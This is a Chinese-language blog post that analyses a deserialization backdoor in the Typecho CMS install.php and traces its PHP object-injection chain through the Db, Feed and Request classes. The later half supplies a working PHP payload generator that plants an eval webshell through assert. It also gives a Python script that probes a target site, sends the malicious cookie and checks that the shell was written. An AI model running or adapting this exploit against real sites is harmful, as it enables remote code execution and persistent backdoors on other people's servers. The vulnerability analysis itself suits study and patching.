有一天凌晨听其他师傅说typecho留了后门,因为吃鸡太晚了就没看。后面想分析的时候,后发现原文章没了,搜索引擎的缓存都是乱的。。。。找了好久也没有找到,于是问了下其他看过的师傅漏洞位置,根据杂乱的缓存,就自己操刀子了 。
问题源头在install.php
,它在安装后是不会删除的,这里就是恶意代码的输入点
__typecho_config
参数,__typecho_config
作为构造参数例化一个Typecho_Db
类,POP
链进行代码执行。涉及到的文件还有类名
install.php(unserialize) - > Db.php(class Typecho_Db) - > Feed.php (class Typecho_Feed) - > Request.php (class Typecho_Request)
install.php
__typecho_config
字段的值cookie
中的__typecho_config
得到序列化后的$config
数组字符串后,再使用$config['adapter']
作为构造参数传入Typecho_Db
的实例化过程
<?php if (isset($_GET['finish'])) : ?>
<?php if (!@file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php')) : ?>
<h1 class="typecho-install-title"><?php _e('安装失败!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有上传 config.inc.php 文件,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p>
</form>
</div>
<?php elseif (!Typecho_Cookie::get('__typecho_config')): ?>
<h1 class="typecho-install-title"><?php _e('没有安装!'); ?></h1>
<div class="typecho-install-body">
<form method="post" action="?config" name="config">
<p class="message error"><?php _e('您没有执行安装步骤,请您重新安装!'); ?> <button class="btn primary" type="submit"><?php _e('重新安装 »'); ?></button></p>
</form>
</div>
<?php else : ?>
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
$config['adapter']
在构造函数里面对应形参$adapterName
,
$adapterName
是Typecho_Feed
类的实例,使用.字符连接就调用__toString
魔术方法
<?php
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
$this->_type
用来控制if语句的流程,给$this->_type
赋值 ATOM 1.0
时,
即可进入包含$item['author']->screenName
的分支,$item['author']
这个变量是一个Typecho_Request
的实例,我们可以设置这个Typecho_Request
实例的属性screenName
是一个私有属性,
当访问$item['author']->screenName
就会调用__get
方法
<?php
public function __toString()
{
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;
if (self::RSS1 == $this->_type) {
$result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;
$content = '';
$links = array();
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
$content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '</item>' . self::EOL;
$links[] = $item['link'];
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
$result .= '<channel rdf:about="' . $this->_feedUrl . '">
<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<items>
<rdf:Seq>' . self::EOL;
foreach ($links as $link) {
$result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
}
$result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;
$result .= $content . '</rdf:RDF>';
} else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
if (!empty($item['category']) && is_array($item['category'])) {
foreach ($item['category'] as $category) {
$content .= '<category><![CDATA[' . $category['name'] . ']]></category>' . self::EOL;
}
}
if (!empty($item['excerpt'])) {
$content .= '<description><![CDATA[' . strip_tags($item['excerpt']) . ']]></description>' . self::EOL;
}
if (!empty($item['content'])) {
$content .= '<content:encoded xml:lang="' . $this->_lang . '"><![CDATA['
. self::EOL .
$item['content'] . self::EOL .
']]></content:encoded>' . self::EOL;
}
if (isset($item['comments']) && strlen($item['comments']) > 0) {
$content .= '<slash:comments>' . $item['comments'] . '</slash:comments>' . self::EOL;
}
$content .= '<comments>' . $item['link'] . '#comments</comments>' . self::EOL;
if (!empty($item['commentsFeedUrl'])) {
$content .= '<wfw:commentRss>' . $item['commentsFeedUrl'] . '</wfw:commentRss>' . self::EOL;
}
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '</item>' . self::EOL;
if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}
$result .= '<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<atom:link href="' . $this->_feedUrl . '" rel="self" type="application/rss+xml" />
<language>' . $this->_lang . '</language>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<lastBuildDate>' . $this->dateFormat($lastUpdate) . '</lastBuildDate>
<pubDate>' . $this->dateFormat($lastUpdate) . '</pubDate>' . self::EOL;
$result .= $content . '</channel>
</rss>';
} else if (self::ATOM1 == $this->_type) {
$result .= '<feed xmlns="http://www.w3.org/2005/Atom"
xmlns:thr="http://purl.org/syndication/thread/1.0"
xml:lang="' . $this->_lang . '"
xml:base="' . $this->_baseUrl . '"
>' . self::EOL;
$content = '';
$lastUpdate = 0;
foreach ($this->_items as $item) {
$content .= '<entry>' . self::EOL;
$content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
$content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
$content .= '<id>' . $item['link'] . '</id>' . self::EOL;
$content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
$content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
$content .= '<author>
<name>' . $item['author']->screenName . '</name>
<uri>' . $item['author']->url . '</uri>
</author>' . self::EOL;
Typecho_Request实例调用__get
魔术方法,进入get
方法,最后进入_applyFilter
方法
<?php
public function __get($key)
{
return $this->get($key);
}
$key
的值是screenNamem
,因此$this->_params
需要是个键为screenNamem
的数组,键值为想执行的代码,最终$value
传进call_user_func
<?php
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
进入_applyFilter
后,可以看见call_user_func
,这时需要设置$this->_filter
为arrsert
,作为call_user_func
的第一个参数,$value
我们也可控,已经可以执行任意代码
<?php
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
主要用于生成__typecho_config
的Payload
<?php
/**
* Created by PhpStorm.
* User: RaI4over
* Date: 2017/10/19
* Time: 15:17
* 生成 _typecho_config 的值
*/
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en')
{
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}
public function addItem(array $item)
{
$this->_items[] = $item;
}
}
class Typecho_Request
{
private $_params = array('screenName'=>'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'<?php @eval($_POST[a]);?>\')');
private $_filter = array('assert');
//private $_filter = array('assert', array('Typecho_Response', 'redirect'));
}
$payload1 = new Typecho_Feed(5, 'ATOM 1.0');
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp['adapter'] = $payload1;
$exp['prefix'] = 'Rai4over';
echo base64_encode(serialize($exp));
最外层$exp
是数组,数组中的'adapter'是Typecho_Feed
的实例$payload1
, $payload1
的构造参数是'ATOM 1.0'用于控制分支, $payload2
是Typecho_Request
的实例, private $_filter
,private $_params
是传给call_user_func
的参数,也就是通过assert
写shell
然后$payload2
通过additem
添加到$payload
的$_items
的变量中,最后把$payload1
添加到最外层的$exp
数组中
ps:因为install.php
中有ob_start();
所以构造好是没有回显的,但是也能写shell
后面其他师傅说可以用Typecho_Response
类中的redirect
方法中的exit()
得到回显
记得把php添加进环境变量
import requests
import os
if __name__ == '__main__':
print ''' ____ ____ _ _ _
| __ ) _ _ | _ \ __ _(_) || | _____ _____ _ __
| _ \| | | | | |_) / _` | | || |_ / _ \ \ / / _ \ '__|
| |_) | |_| | | _ < (_| | |__ _| (_) \ V / __/ |
|____/ \__, | |_| \_\__,_|_| |_| \___/ \_/ \___|_|
|___/
'''
targert_url = 'http://www.xxxxxxxx.xyz';
rsp = requests.get(targert_url + "/install.php");
if rsp.status_code != 200:
exit('The attack failed and the problem file does not exist !!!')
else:
print 'You are lucky, the problem file exists, immediately attack !!!'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080", }
typecho_config = os.popen('php exp.php').read()
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',
'Cookie': 'antispame=1508415662; antispamkey=cc7dffeba8d48da508df125b5a50edbd; PHPSESSID=po1hggbeslfoglbvurjjt2lcg0; __typecho_lang=zh_CN;__typecho_config={typecho_config};'.format(typecho_config=typecho_config),
'Referer': targert_url}
url = targert_url + "/install.php?finish=1"
requests.get(url,headers=headers,allow_redirects=False)
shell_url = targert_url + '/usr/themes/default/img/c.php'
if requests.get(shell_url).status_code == 200:
print 'shell_url: ' + shell_url
else:
print "Getshell Fail!"